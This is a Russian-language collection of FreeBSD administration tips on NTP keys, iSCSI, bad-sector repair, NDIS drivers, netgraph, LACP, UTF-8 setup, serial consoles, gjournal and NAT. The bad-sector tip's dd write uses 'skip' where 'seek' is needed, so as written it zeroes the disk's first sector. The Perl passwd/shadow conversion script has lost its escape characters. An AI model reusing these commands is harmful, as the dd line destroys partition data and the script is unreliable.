    requestkey 15        # ntpdc
    
    Теперь надо сгенерить ключи для управления.
    env RANDFILE=/dev/random ntp-keygen
    В директории, где запускали ntp-keygen будет файл
     с ключами и симлинк ntpkey_MD5key_<название хоста>
    В нём будут записаны 16 ключей надо взять содержимое этого файла и запихнуть его в /etc/ntp.keys
    
    теперь (пере)запускаем ntpd
    Для проверки делаем ./reconfigNtpd | ntpdc
    Если про ошибки ничего не будет написано, значит всё хорошо.
    
    Теперь цепляем это на ppp
    Для этого пишем в файл /etc/ppp/ppp.linkup такое:
    
    <название подключения>:
      !bg sh -c "sleep 5; <путь>/reconfigNtpd | ntpdc"
    
    Задержку в 5 секунд сделал для того, чтобы ntpdc запустился после прописывания маршрута.
    
     
    ----* Настройка службы iSCSI на сервере FreeBSD (доп. ссылка 1)   Автор: Сгибнев Михаил  [комментарии]
     
    Q. Как я могу установить и настроить службу iSCSI на сервере FreeBSD ?
    
    A. FreeBSD 7.x полностью поддерживает iSCSI. Старые версии, такие как  FreeBSD
    6.3 требуют обратного
    портирования для поддержки iSCSI. Следущие инструкции приведены для настройки
    iSCSI только под FreeBSD 7.0.
    
    FreeBSD iscsi_initiator driver
    
    iscsi_initiator в ядре FreeBSD реализует страндарт сетевого протокола Internet SCSI (iSCSI), 
    взаимодействует с пользовательским окружением iscontrol и обеспечивает доступ к
    удаленным виртуальным SCSI устройствам.
    
    Компилирование драйвера
    
    обратите внимание на то, что FreeBSD 7.x поставляется с уже скомпилированным драйвером. 
    Вы можете пропустить этот шаг, если драйвер /boot/kernel/iscsi_initiator.ko 
    уже присутствует в вашей системе.
    
    Для компиляции ядра с драйвером, выполните следущее:
    
       # cd /usr/src/sys/i386/conf
       # cp GENERIC ISCSIKERNEL
       # vi ISCSIKERNEL
    
    Вставьте строку:
    
       device iscsi_initiator
    
    Сохраните и закройте файл конфигурации. Соберите ядро:
    
       # cd /usr/src
       # make buildkernel KERNCONF=ISCSIKERNEL
    
    Установите ядро:
    
       # make installkernel KERNCONF=ISCSIKERNEL
    
    Перезагрузите систему:
    
       # reboot
    
    Установка драйвера iSCSI в FreeBSD
    
    Нам необходим драйвер ядра FreeBSD для протокола iSCSI, который называется /boot/kernel/iscsi_initiator.ko.
    Загрузите его можно с правами пользователя root следующей командой: 
    
       # kldload -v iscsi_initiator.ko
    
    Вывод:
    
       Loaded iscsi_initiator.ko, id=6
    
    Для загрузки драйвера во время начальной загрузки, поместите слудующую строку в /boot/loader.conf:
    
       # vi /boot/loader.conf
    
       # Beginning of the iSCSI block added by Vivek
       iscsi_initiator_load="YES"
       # End of the block added by Vivek
    
    Сохраните и закройте файл.
    
    Команда iscontrol для подключения, предоставления и контроля сессии iSCSI initiator.
    
    Теперь нам необходимо использовать команду iscontrol. Сперва просмотрим сессии:
    
       # iscontrol -d targetaddress=iSCSI-SERVER-IP-ADDRESS initiatorname=nxl
       # iscontrol -v -d targetaddress=192.168.1.100 initiatorname=nxl
    
    Пожалуйста,  запишите список доступных targetnames/targetadresses. Как только
    будет известно targetname,
    отредактируйте файл /etc/iscsi.conf:
    
      # vi /etc/iscsi.conf
    
    Укажите директивы подобным образом:
    
       officeiscsi {
            authmethod      = CHAP
            chapIName       = YOUR-ISCSI-USERNAME
            chapSecret      = YOUR-ISCSI-PASSWORD
            initiatorname   = nxl
            TargetName      = iqn.XYZZZZZZZZZZZZZ #  whatever "iscontrol -v -d " gives you
            TargetAddress   = 192.168.1.100:3260,1 # your iscsi server IP
       }
    
    Сохраните и закройте файл.
    
    Где:
    
     officeiscsi { : Начало конфигурации iSCSI.
        authmethod : Установить в качестве метода аутентификации chap
        chapIName  : Имя 
        chapSecret : Пароль 
        initiatorname : Если не указано другое, то iqn.2005-01.il.ac.huji.cs:<hostname>
        TargetName : Имя, под которым будет изветен target. Не путайте его с target address, 
                      который назначается администратором или через поиск устройств. 
        TargetAddress : Имеет вид domainname[:port][,portal-group-tag] согласно RFC: 
                      domainname может быть определен как имя DNS, адрес IPv4 в десятичном представлении  
                      или IPv6 адрес, как указано в [RFC2732]. 
     } : Конец конфигурации
    
    
    Старт сессии iSCSI
    
    Следущие команды читают опции из /etc/iscsi.conf, используя targetaddress в блоке, 
    называемом officeiscsi, и запускают сессию iscsi.
    
       # iscontrol -c /etc/iscsi.conf -n officeiscsi
    
    
    Как только вы выполните команду iscontrol, должно создаться новое устройство в каталоге /dev. 
    Для проверки выполним команду dmesg:
    
       # dmesg 
    
    Форматируем диск iSCSI
    
    Запустим sysinstall для форматирования обнаруженного устройства iSCSI:
    
       # sysinstall 
    
    Выбираем Custom > 3 Partition > Выбираем устройство iSCSI по имени da1. После
    форматирования вводим:
    
       # mkdir /iscsi
       # mount /dev/da1s1 /iscsi 
    
    Возможно вам понадобится обновить файл /etc/fstab:
    
       /dev/ad1s1 /iscsi ufs rw 3 3
    
     
    ----* Как избавиться от нечитаемых секторов на диске   [комментарии]
     
    В логе smartd появились подобные свидетельства наличия нечитаемых секторов на диске:
    
       smartd[798]: Device: /dev/ad5, 15 Currently unreadable (pending) sectors
       smartd[798]: Device: /dev/ad5, 15 Offline uncorrectable sectors
    
    SMART тестирование подтвердило подозрения:
    
       Запускаем фоновый тест диска, не мешающий основной работе:
          smartctl -t long /dev/ad5
       Ждем завершения периодически просматривая статус:
          smartctl -l selftest /dev/ad5
       В итоге смотрим содержимое лога, в самом конце вывода:
          smartctl -a /dev/ad5
       Имеем:
       # 1  Extended offline  Completed: read failure  90% 2916 10373954
    
    Выявляем полный список сбойных секторов, путем чтения всех данных с диска:
    
       dd if=/dev/ad5 of=/dev/null bs=512 conv=noerror,sync
    
    В один прекрасный момент появятся надписи вида:
    
       dd: /dev/ad5: Input/output error
       10373954+0 records in
       10373954+0 records out
       5311464448 bytes transferred in 2427.397393 secs (2188131 bytes/sec)
    
    В системном логе увидим:
    
       kernel: ad5: TIMEOUT - READ_DMA retrying (1 retry left)  LBA=10373954
       kernel: ad5: TIMEOUT - READ_DMA retrying (0 retries left) LBA=10373954
       ....
       kernel: ad5: FAILURE - READ_DMA timed out LBA=10374109
       kernel: ad5: TIMEOUT - READ_DMA retrying (1 retry left) LBA=10374113
    
    Проверяем, каждый участок еще раз:
    
       dd if=/dev/ad5 of=/dev/null bs=512 count=1 skip=10373954 conv=noerror,sync
    
    Смотрим какой файл в ФС подпадает под этот блок.
    
    Смотрим и примерно вычисляем номер раздела на который приходится сбойный сектор (LBA 10373954):
    
       fdisk -s /dev/ad5
    
       /dev/ad5: 775221 cyl 16 hd 63 sec
       Part        Start        Size Type Flags
       1:          63   398444067 0xa5 0x80
       2:   398444130   382973535 0xa5 0x80
    
    10373954 - 63 = 10373891
    
       disklabel /dev/ad5s1
    
       # /dev/ad5s1:
       8 partitions:
       #        size   offset    fstype   [fsize bsize bps/cpg]
         a:  2097152        0    4.2BSD     2048 16384 28552 
         b:  4194304  2097152      swap                    
         c: 398444067        0    unused    0  0 # "raw" part
         d:  2097152  6291456    4.2BSD     2048 16384 28552 
         e: 10485760  8388608    4.2BSD     2048 16384 28552 
         f: 104857600 18874368    4.2BSD     2048 16384 28552 
         g: 104857600 123731968    4.2BSD     2048 16384 28552 
         h: 162127234 228589568    4.2BSD     2048 16384 28552 
    
    Видим, что 10373891 приходится на раздел /dev/ad5s1e
    Расчитываем смещение относительно начала раздела:
    10373891 - 8388608 = 1985283
    
    Находим иноду, которой принадлежит заданный блок:
       fsdb -r /dev/ad5s1e
       findblk 1985283
    
    повторяем для каждого сбойного сектора 
    (для Linux нужно использовать debugfs - http://smartmontools.sourceforge.net/BadBlockHowTo.txt)
    
    Пытаемся записать данные в сбойный сектор, чтобы инициировать процесс
    ремапинга на диске.
    
        sysctl kern.geom.debugflags=16 # иначе будет dd: /dev/ad5: Operation not permitted)
        dd if=/dev/zero of=/dev/ad5 bs=512 count=1 skip=10373954 conv=noerror,sync
        sysctl kern.geom.debugflags=0
    
    Если после записи сектор начал читаться - все ok, 
    
    если нет - резервная область на диске уже заполнена, пробуем запретить
    обращещние окружающих секторов в ФС:
    
       man badsect
    
      /dev/ad5s1e примонтирован как /usr, создаем директорию /usr/BAD и выполняем
      badsect /usr/BAD 1985283
      fsck -y /dev/ad5s1e
    
    Полезные порты:
       /usr/ports/sysutils/recoverdm 
       /usr/ports/sysutils/diskcheckd
    
     
    ----* Настройка работы Dell Wireless 1390 WLAN Mini-PCI Card во FreeBSD (доп. ссылка 1) (доп. ссылка 2)   Автор: Sokolov Alexey  [комментарии]
     
    Драйвера для данного беспроводного адаптера в ядре FreeBSD на данный (март 2008) не существует,
    но я расскажу как сконвертировать windows-драйвера в ko-модуль.
    
    1. качаем официальный драйвер: 
    
    http://www.x-drivers.ru/component/option,com_remository/itemid,36/func,fileinfo/id,28277/
    
    2. конвертируем его:
    
       %ndisgen bcmwl5.inf bcmwl5.sys
    
    3. подгружаем полученный модуль:
    
       %kldload bcmwl5_sys.ko
    
    Пожалуйста:
    
       % ifconfig -l
       em0 lo0 ndis0
    
       ndis0 - появившийся wifi-интерфейс.
    
     
    ----* Как восстановить работу после ошибки с ldconfig во FreeBSD (доп. ссылка 1)   Автор: Mamoru  [комментарии]
     
    Пытаясь добавить библиотеку libnsl запустил следующее:
       ldconfig -m /usr/compat/linux/lib/
    теперь на любой ввод машина выдаёт:
       /libexec/ld-elf.so.1: Undefined symbol "__stdinp" referenced from COPY relocation in
    
    Для того чтобы вернуться к нормальной работе:
    1. грузимся в однопользовательский режим
    2. монтируем Var #>mount -rw /var
    3. правим хинты #>ldconfig /lib
    4. монтируем Usr #>mount -rw /usr
    5. добавляем для начального комплекта #>ldconfig -m /usr/lib и дальше по списку
    /var/run/ld-elf.so.hints:
            search directories: /lib:/usr/lib:/usr/lib/compat:/usr/X11R6/lib:/usr/local/lib:/usr/local/lib/compat:\
       /usr/local/lib/compat/pkg:/usr/local/lib/mysql:/usr/local/lib/apache2
    6. перегружаемся
    
    Если необходимо загрузить библиотеки имеющие права записи для 
    группы или с владельцом отличным от root, установите в YES для 
    отключения проверок безопасности ldconfig (опция -i).
           ldconfig_insecure="NO"
    
    Пути, по которым ищутся разделяемые библиотеки
        ldconfig_paths="/usr/lib/compat /usr/X11R6/lib /usr/local/lib \
        /usr/local/lib/compat/pkg /usr/compat/linux/lib"
    
    Пути, по которым ищутся разделяемые библиотеки a.out
        ldconfig_paths_aout="/usr/lib/compat/aout /usr/X11R6/lib/aout /usr/local/lib/aout"
    
     
    ----* Сброс буфера системных сообщений FreeBSD (доп. ссылка 1)   Автор: mr-tacitus  [комментарии]
     
    Сбросить буфер системных сообщений (вывод команды dmesg) можно с помощью sysctl:
    
       sysctl kern.msgbuf_clear=1
    
     
    ----* Ограничение скорости на интерфейсе средствами netgraph во FreeBSD (доп. ссылка 1)   Автор: Anton Yuzhaninov  [комментарии]
     
    Пример того как можно ограничить скорость на интерфейсе:
    
    #!/bin/sh
    
    kldload ng_ether
    kldload ng_car
    
    ngctl -f- <<-EOF
    mkpeer re0: car lower lower
    name re0:lower re0_car
    connect re0: re0_car: upper upper
    msg re0_car: setconf { upstream={ cbs=8192 ebs=65535 cir=100000 greenAction=1
    yellowAction=1 redAction=2 mode=2 } downstream={ cbs=8192 ebs=65535 cir=1000000
    greenAction=1 yellowAction=1 redAction=2 mode=2 } }
    EOF
    
    
    Если считать что к re0 у нас подключен клиент, то upstream это трафик от клиента в инет,
    downstream - трафик из инета к клиенту.
    
    cir - скорость в битах в секунду (в мане опечатка)
    
    mode=2 - это RED
    
    цифры для cbs/ebs взяты с потолка. Рекомендации по поводу этих 
    параметров можно поискать в инете по ключевым словам random early detection
    можно тут посмотреть например
    http://www.icir.org/floyd/REDparameters.txt
    
     
    ----* Остановка netgraph нод после mpd (доп. ссылка 1)   Автор: Roman Y. Bogdanov  [комментарии]
     
    С помощью этого маленького скрипта, можно выполнить освобождение netgraph нод, 
    которые оставляет за собой упавший в "корку" MPD3.
    
    #!/bin/sh
    
    for j in "" 1 2 3 4 5 6 7 8 9 10 11 12; do
      for i in 0 1 2 3 4 5 6 7 8 9; do
        echo $j$i
        ngctl shutdown ng$j$i:
        ngctl shutdown mpd$1-pptp$j$i:
      done
    done
    
     
    ----* Объединение сетевых интерфейсов при помощи протокола LACP во FreeBSD 7 (доп. ссылка 1)   Автор: s@sh@  [комментарии]
     
    Собираем ядро с поддержкой LACP (Link aggregation control protocol):
       device lagg
    
    Объединяем интерфейсы em0 и em1:
       ifconfig em0 up
       ifconfig em1 up
       ifconfig lagg0 create
       ifconfig lagg0 up laggproto lacp laggport em0 laggport em1
       ifconfig lagg0 10.10.10.18 netmask 255.255.255.0
       route add -net 0.0.0.0 10.10.10.1 0.0.0.0
    
    На Cisco и к каждому нужному интерфейсу прописываем:
       interface GigabitEthernet2/2
          .... 
          channel-protocol lacp
          channel-group 23 mode active
       
       interface GigabitEthernet2/16
          ....
          channel-protocol lacp
          channel-group 23 mode active
    
     
    ----* Установка неподдерживаемой сетевой карты ASUS NX1001 во FreeBSD 6.2   Автор: fenixfenix  [комментарии]
     
    При установке сетевой карточки Asus NX1001, я не смог обнаружить её при наборе
    команды ifconfig. А также в sysinstall->Configure->Networking.
    Первое, что мне пришло в голову конфликт с ACPI, после отключения в БИОСе ACPI -
    результатов никаких не дало. Поэтому пришлось заняться поисками решения
    этой проблемы копаясь в интернете, особо на сайте freebsd.org. Найдя похожую
    проблему работы с сетевой картой Asus NX1001 в FreeBSD 6.2, вот что в итоге 
    необходимо было сделать.
    
    Набрав команду pciconf -lv и найдя среди результатов вывода 
    
    "Sundance ST201 10/100BaseTX". 
    
    Мне пришлось дописать в файлах:
    /usr/src/sys/pci/if_ste.c
    /usr/src/sys/pci/if_stereg.h
    нижеследующее (строка AS_VENDORID...), в файле if_ste.c:
    
       static struct ste_type ste_devs[]={
          {ST_VENDORID, ST_DEVICEID_ST201,"Sundance ST201 10/100BaseTX"},
    
          {AS_VENDORID, AS_DEVICEID_NX1001,"ASUS NX1001 10/100BaseTX"},
    
         {DL_VENDORID, DL_DEVICEID_DL100050,"D-Link DL10050 10/100BaseTX"},
         {0,0,NULL}
       };
    
    
    в файле if_stereg.h:
    
       #define AS_VENDORID 0x13F0
       #define AS_DEVICEID_NX1001 0x0200
    
    После этого мы обязаны пересобрать наше старое ядро:
    
       cd /usr/src/sys/i386/conf/
       cp GENERIC GATEWAY
       ee GATEWAY
       config GATEWAY
       cd ../compile/GATEWAY
       make depend
       make
       make install
       shutdown -r now
    
    В итоге в нашем случае появляется сетевая карточка в устройствах как sto0.
    
     
    ----* Импорт паролей и пользователей из Linux в FreeBSD   Автор: bytestore  [комментарии]
     
    Копируем в текущую директорию passwd и shadow файлы из Linux. Запускаем:
        ./mkpasswd.pl > new.master.passwd
    
    Открываем файл new.master.passwd в текстовом редакторе и заменяем строки с
    описанием системных аккаунтов из /etc/master.passwd
    
    Копируем new.master.passwd в /etc. Делаем бэкап /etc/master.passwd.
    Перестраиваем хэши через запуск команды
    
       pwd_mkdb -p /etc/new.master.passwd
    
    Если всплыли ошибки повторяем запуск pwd_mkdb на бэкап файле, для отката изменений.
    
    
    
    Скрипт mkpasswd.pl
    
    #!/usr/local/bin/perl
    
    # Listing 21.1. Sample Perl Script to Convert 
    # a Linux User Database for Use in FreeBSD
    # Set the following to the location of bash on your FreeBSD 
    #machine (if installed),
    # or to /bin/csh to switch /bin/bash users to csh
    
    $newshell = "/bin/sh";
    
    open ( PASS, '< ./passwd' );
    @passwd = <PASS>;                  # Read in the passwd file
    close PASS;
    open ( SHAD, '< ./shadow' );
    @shadow = <SHAD>;                  # Read in the shadow file
    close SHAD;
    
    foreach $user (@shadow) {
        @sdata = split(/:/,$user);
        $passhash{$sdata[0]} = $sdata[1];  # Make a lookup table based on usernames
    }
    
    foreach $user (@passwd) {
        @pdata = split(/:/,$user);
        $pdata[6] = $newshell."n" if ($pdata[6] eq "/bin/bashn");
        $pdata[1] = $passhash{$pdata[0]};  # Replace the "x" with the password hash
        splice (@pdata,4,0,undef,"0","0"); # Splice in extra blank fields
    
        foreach (@pdata) {                 # Print the combined output line
    	    print "$_";
    	    print ":" unless ($_ =~ /n/);
        }
    }
    
    откуда взял скрипт непомню :(
    
     
    ----* 3 шага для перехода на UTF-8 во FreeBSD (доп. ссылка 1)   Автор: Sokolov Alexey  [комментарии]
     
    1. в ~/.xinitrc пишем (именно сюда а не в /etc/profiles потому как
    системная консоль FreeBSD не поддерживает юникод, посему локаль сия
    будет использоваться только в иксах):
    
      export LANG='ru_RU.UTF-8'
      export LC_ALL='ru_RU.UTF-8'
    
    2. выполняем конвертацию содержимого файловой системы из koi8-r в
    UTF-8 (необходим порт converters/convmv):
    
       %convmv -f koi8-r -t UTF-8 путь_к_разделу/* --notest -r
    
    3. далее все зависит от терминала, если у вас что-то вроде
    gnome-terminal, то достаточно будет сменить кодировку в опциях на
    UTF-8, если же у вас что-то вроде xterm'а, тогда в ~/.Xresources
    необходимо будет поменять шрифт, например так (для этого шрифта
    необходим пакет x11-fonts/terminus-font):
    
       XTerm*font: -*-terminus-medium-*-*-*-*-*-*-*-*-iso10646-1
    
    для syscons(4) на i386:
    
    1. ставим sysutils/jfbterm и textproc/uim-m17nlib
    2. меняем стандартную переключалку языка с Shift+Space на Ctrl+\
       добавлением в ~/.uim
    
    	(define-key generic-on-key? "<Control>\\")
    	(define-key generic-off-key? "<Control>\\")
    
    3. ставим локаль и добавляем запуск uim-fep и jfbterm в ~/.profile
    	export LANG=ru_RU.UTF-8
    	exec jfbterm -e uim-fep
       или в ~/.login (для tcsh)
    	setenv LANG ru_RU.UTF-8
    	exec jfbterm -e uim-fep
    
    Для syscons(4), универсальный способ, неполный юникод:
    
    1. ставим шрифт и раскладку koi8-r в /etc/rc.conf
    
       # шрифт
       font8x8=koi8-r-8x8
       font8x14=koi8-r-8x14
       font8x16=koi8-r-8x16
       # раскладка
       keymap=ru.koi8-r
    
    2. ставим sysutils/screen, рекомендую более новый
       ftp://ftp.lissyara.su/users/Guest/screen.diff
    
    3. ставим локаль и добавляем запуск screen в ~/.profile (для sh)
    
       # экспортируем локаль и тип терминала
       export LANG=ru_RU.UTF-8 TERM=xterm
       # запускаем сессию 'desktop', если уже не запущена
       if ! screen -S desktop -ls | fgrep -q desktop; then
          screen -S desktop -dm
       fi
       # подсоединяемся к сессии 'desktop'
       if vidcontrol -i adapter >&- 2>&-
       then
          # в syscons используем локаль koi8-r
          LC_CTYPE=ru_RU.KOI8-R TERM=cons25r \
          exec screen -x desktop
       else
          # в X'ах используем дефолтную локаль
          exec screen -x desktop
       fi
    
    Примечание:
    
    Символы за пределами koi8-r будут отображаться как ??? (вопросики).
    Если хотите полный (многоязычный) юникод, то используйте способ с jfbterm.
    
     
    ----* Настройка управления FreeBSD сервера через COM порт (доп. ссылка 1)   Автор: LM  [комментарии]
     
    Что надо сделать на FreeBSD сервере:
    
    1. Подключаем COM1 кабель
    
    2. Заходим под root и пишем:
       echo "-Dh" > /boot.config
    
    3. В файле /etc/ttys заменяем строчку
       ttyd0 "/usr/libexec/getty std.9600" dialup off secure
    на
       ttyd0 "/usr/libexec/getty std.9600" vt100 on secure
    
    4. Перезагружаем FreeBSD.
    
    Что надо сделать на Windows XP машине (клиент):
    
    1. Start -> All Programs -> Accessories -> Communications -> HyperTerminal
    
    2. В открывшемся окне New Connections в поле Name пишем что нить типа freebsd-serial
    
    3. В окне Connect To выбираем номер ком-порта (к примеру COM1)
    
    4. В окне COMx Properties на вкладке Port Settings надо выставить следующие значения:
       Bits per second: 9600
       Data bits: 8
       Parity: None
       Stop bits: 1
       Flow control: Xon / Xoff
    и на жать на кнопку ОК
    
    5. Соединение установиться. Далее можно сохранить File -> Save.
    
    6. Можно работать.
    
    Что нужно сделать если в место Windows XP для управления используется соседняя FreeBSD машина:
    
    в зависимости от версии FreeBSD:
       cu -s 9600 -l /dev/cuad0
       cu -s 9600 -l /dev/cuaa0
    
    где cuaaX/cuaaX устройства ком порта
    
     
    ----* Обзор небольших полезных утилит под FreeBSD (доп. ссылка 1)   Автор: Денис Юсупов  [комментарии]
     Пришла мысль упорядочить немного список утилиток из портов, которые облегчают жизнь админа FreeBSD.
    • arpwatch - для мониторинга изменений mac/ip-адресов;
    • port-maintenance-tools - набор утилит для работы с портами (portupgrade, portinstall и др.);
    • portaudit - позволяет автоматически проверить перед установкой какого-либо порта, не числится ли он в базе уязвимостей.
    • screen - для работы с виртуальными консолями
    • mbmon, healthd для мониторинга температуры, вольтажа и оборотов
    • arping- "пингует" компьютеры arp-запросами, позволяя определить, находится ли комп в локальной сети даже если у последнего установлен файервол.
    • fastest_cvsup - нахождение самого быстрого cvsup сервера для обновления портов и/или сырцов системы.
    • cvsup-without-gui - собственно, сам клиент для обновления.
    • nmap - сетевой сканер портов.
    • sudo - для настройки рутовых привилегий, выдаваемых другим пользователям без необходимости сообщать рутовый пароль.
    • vim (vim-lite) - редактор. Совмещает удобства vi и привычки с "обычных" редакторов
    • yawho - показывает, кто сидит, откуда и что запущено и т.п. Напоминает "w", но поудобнее.
    • whowatch - очень удобная утилитка для просмотра в реальном времени процессов других залогиненных пользователей и элементарных операций (посылка сигналов kill, разлогинивание и т.д.)
    • mtr - утилита, обьединяющая наподобии виндового "pathping" команды traceroute и ping. Весьма удобна для проверки сети.
    • lynx-ssl - браузер с поддержкой ssl, работающий в текстовом режиме. Удобен. Полезен при проверке корректности html кода.
    • elinks - продвинутая версия lynx. Встроенный менеджер закачек, готовность к работе на русском языке без дополнительных телодвижений
    • ipcalc - Сетевой калькулятор. Противопоказан людям, готовящимся к сдачи CCNA и рассчитывающим все сети вручную ;-)
    • apg - Удобный генератор случайных паролей.
    • pwgen2 - Ещё один удобный генератор.
     
    ----* Почему некоторые rcNG-скрипты не останавливают процесс   Автор: minotaur  [комментарии]
     
    В ОС FreeBSD иногда появляется проблема, когда rcNG-скрипт запускает процесс 
    (процесс запускается нормально, pid-файл создается, с правами все в порядке),
     но не хочет его останавливать. Например, SpamAssassin:
    
      # /usr/local/etc/rc.d/sa-spamd start
      Starting spamd.
      # ls -l /var/run/spamd/spamd.pid
      -rw-r--r--  1 root  spamd  6  1 авг 08:37 spamd.pid
      # /usr/local/etc/rc.d/sa-spamd stop
      spamd not running? (check /var/run/spamd/spamd.pid)
    
    Причина проблемы не очевидна, решение находится из man ps: 
    если длина аргументов больше значения переменной ядра kern.
    ps_arg_cache_limit, то ps показывает не полную строку запуска процесса, 
    а лишь само имя процесса в квадратных скобках. И бывают случаи (как в SpamAssassin), 
    когда имя процесса не совпадает с именем в rcNG-скрипте (переменная name). 
    Поэтому rcNG-скрипт не обнаруживает запущенного ним процесса в выводе ps.
    
    Решение - увеличить значение переменной ядра kern.ps_arg_cache_limit в sysctl.conf.
    
    Замечание:
    
    Если в rc.conf в spamd_flags присутствует --debug, то rcNG-скрипт работать не будет, 
    потому что в этом случае вывод ps axww меняется. 
    Например вместо:
    
    68514  ??  Ss     0:11,27 /usr/local/bin/spamd --siteconfigpath=/usr/local/etc/mail/spamassassin 
       -x -d -l --max-conn-per-child=128 --timeout-tcp=10 --timeout-child=300 
       --pidfile=/var/run/spamd/spamd.pid --syslog=local0 --username=spamd --groupname=spamd
       --allowed-ips=127.0.0.0/8 --listen-ip=127.0.0.1 -d -r /var/run/spamd/spamd.pid (perl5.8.8)
    
    получаем
    
    68514  ??  Ss     0:11,27 /usr/local/bin/perl -T -w /usr/local/bin/spamd 
       --siteconfigpath=/usr/local/etc/mail/spamassassin -x -d -l --max-conn-per-child=128 
       --timeout-tcp=10 --timeout-child=300 --pidfile=/var/run/spamd/spamd.pid --syslog=local0 
       --username=spamd --groupname=spamd --allowed-ips=127.0.0.0/8 --listen-ip=127.0.0.1 --debug 
       received-header -d -r /var/run/spamd/spamd.pid 
    
    Решение этой проблемы - правка rc.subr, что есть дело нелегкое. И проще помнить про этот нюанс.
    
     
    ----* Инструкция по включению журналирования в UFS2. (доп. ссылка 1)   Автор: Sokolov Alexey  [комментарии]
     
    Требуется создать журналируемую файловую систему UFS2 объемом более 1 Гб на FreeBSD 6.1-STABLE.
    
    Для начала необходимо обновить дерево исходных текстов (/usr/src) до стабильной версии.
    После чего переходим в каталог /usr/src и создаем там необходимые директории:
    
       # cd /usr/src
       # mkdir {sbin/geom/class/journal,sys/geom/journal,sys/modules/geom/geom_journal}
    
    Теперь качаем сам патч:
    
       # fetch http://people.freebsd.org/%7Epjd/patches/gjournal6.patch
    
    Накладываем его на исходные тексты:
    
       # patch < gjournal6.patch
    
    Компилируем и ставим geom_journal (возможно имеет смысл пересобрать весь мир):
    
    Далее есть два пути - пересобрать весь "мир" (см. файл /usr/src/UPDATING), либо
    пересобрать только то, что было модифицировано.
    Предпочтительней первый путь, однако можно обойтись и без него. Для этого
    пересоберите следующие утилиты
    (зайдя в нижеперечисленные каталоги и выполнив в каждом из них 'make; make install; make clean'):
    
       /usr/src/include/
       /usr/src/sbin/geom/class/
       /usr/src/sbin/mount/
    
    После чего добавляем в конфиг ядра строчку:
    
       options UFS_GJOURNAL
    
    Компилируем ядро, ставим, перезагружаемся...
    
    После перезагрузки подгружаем необходимый модуль командой
    
       # gjournal load
    
    либо:
    
       # kldload geom_journal.ko
    
    (команды эквивалентны)
    
    Далее нам необходимо размонтировать раздел, на который мы собираемся поставить журнал. 
    Пусть это будет '/dev/ad0s3d' и точка монтирования '/mnt/work':
    
       # umount -f /mnt/work
    
    Теперь собстенно "прикручиваем" журнал:
    
       # gjournal label /dev/ad0s3d
    
    Монтируем командой:
    
       # mount -o async,gjournal /dev/ad0s3d.journal /mnt/work
    
    NB! префикс '.journal' появляется при наличии в памяти модуля geom_journal.ko. 
    Поэтому, если вы захотите чтобы система автоматически монтировала раздел с поддержкой журнала: 
    пропишите в файл /boot/loader.conf строчку:
    
       geom_journal_load="YES"
    
    и соответствующую запись в fstab. Для данного примера она будет выглядеть так:
    
       /dev/ad0s3d.journal   /mnt/work   ufs   rw,async,journal   2   2
    
    Все, готово!
    
    (C) 2006 Sokolov Alexey <nullbsd at gmail.com>
    
     
    ----* Новый способ использования NDIS во FreeBSD 5.x и 6.x  (доп. ссылка 1)   Автор: Kond  [комментарии]
     
    Все статьи на opennet описывают создание модуля NDIS для FreeBSD старым методом:
       ndiscvt -i *.inf -s *.sys -o ndis_driver_data.h
    
    Данный способ уже давно устарел и теперь нужно использовать программу ndisgen.
    
    Например. Имеем файлы из комплекта Windows драйверов:
       Fw1130.bin -  Network interface firmware.
       FwRad16.bin -  Radio firmware.
       TNET1130.INF -  Driver information file.
       tnet1130.sys - Driver binary. 
    
    Старый способ:
    
       cd /sys/modules/ndis
       make depend
       make
       make install
       cd ../if_ndis
       ndiscvt -i TNET1130.INF -s tnet1130.sys  -f Fw1130.bin -o ndis_driver_data.h
       make depend
       make
       make install
       ndiscvt -f FwRad16.bin
       cp FwRad16.bin.ko /boot/kernel
       kldload FwRad16.bin
       kldload if_ndis
    
    Для автоматизации загрузки помещаем в /boot/loader.conf
       FwRad16.bin_load="YES"
       if_ndis_load="YES"
    
    Новый способ (не требует установки исходных текстов ядра):
       ndisgen
       ... отвечаем на интерактивные вопросы, на выходе получаем tnet1130_sys.ko
       cp tnet1130_sys.ko /boot/kernel/
       kldload ndis
       kldload if_ndis
       kldload tnet1130_sys
    
    Для автоматизации загрузки помещаем в /boot/loader.conf
       ndis_load="YES"
       if_ndis_load="YES"
       tnet1130_sys_load="YES"
    
     
    ----* Пример настройки ng_neflow для нескольких интерфейсов.   Автор: stalex  [комментарии]
     
    #cat ng5_netflow.sh
    
       #!/bin/sh
    
       kldload ng_netflow
       kldload ng_ether
       kldload ng_tee
       kldload ng_one2many
    
       /usr/sbin/ngctl -f- <<-SEQ
         mkpeer em2: tee lower right
         connect em2: em2:lower upper left
         name em2:lower em2_tee
         mkpeer  em2:lower netflow  right2left iface0
         name em2:lower.right2left netflow
         msg netflow: setifindex { iface=0 index=1 }
         connect em2:lower netflow: left2right iface1
         msg netflow: setifindex { iface=1 index=1 }
    
         mkpeer vlan254: tee lower right
         connect vlan254: vlan254:lower upper left
         name vlan254:lower vlan254_tee
         connect vlan254:lower netflow:  right2left iface3
         msg netflow: setifindex { iface=3 index=1 }
         connect vlan254:lower netflow: left2right iface4
         msg netflow: setifindex { iface=4 index=1 }
    
         mkpeer vlan22: tee lower right
         connect vlan22: vlan22:lower upper left
         name vlan22:lower vlan22_tee
         connect vlan22:lower netflow:  right2left iface5
         msg netflow: setifindex { iface=5 index=1 }
         connect vlan22:lower netflow: left2right iface6
         msg netflow: setifindex { iface=6 index=1 }
    
         mkpeer vlan21: tee lower right
         connect vlan21: vlan21:lower upper left
         name vlan21:lower vlan21_tee
         connect vlan21:lower netflow:  right2left iface7
         msg netflow: setifindex { iface=7 index=1 }
         connect vlan21:lower netflow: left2right iface8
         msg netflow: setifindex { iface=8 index=1 }
    
         mkpeer netflow: ksocket export inet/dgram/udp
         msg netflow:export connect inet/127.0.0.1:20001
       SEQ
    
     
    ----* В двух словах про включение NAT и Firewall в ОС FreeBSD (доп. ссылка 1)   Автор: hub.ru  [комментарии]
     
    Что бы поднять NAT и Firewall на FreeBSD надо:
    
    Скомпилировать ядро:
    Следующие строки нужно включить в /usr/src/sys/i386/conf/GENERIC файл конфигурации:
    
       options IPFIREWALL
       options IPDIVERT
       options IPFIREWALL_VERBOSE
       options IPFIREWALL_VERBOSE_LIMIT=10
       options DUMMYNET
       options TCP_DROP_SYNFIN
    
    Переходим в директорию /usr/src/
       make buildkernel KERNCONF=GENERIC
       make installkernel KERNCONF=GENERIC
    
    Следующие строки можно к примеру включить в rc.conf файл конфигурации:
    
       hostname="free"
       ifconfig_rl0="10.0.0.1"
       gateway_enable="YES"
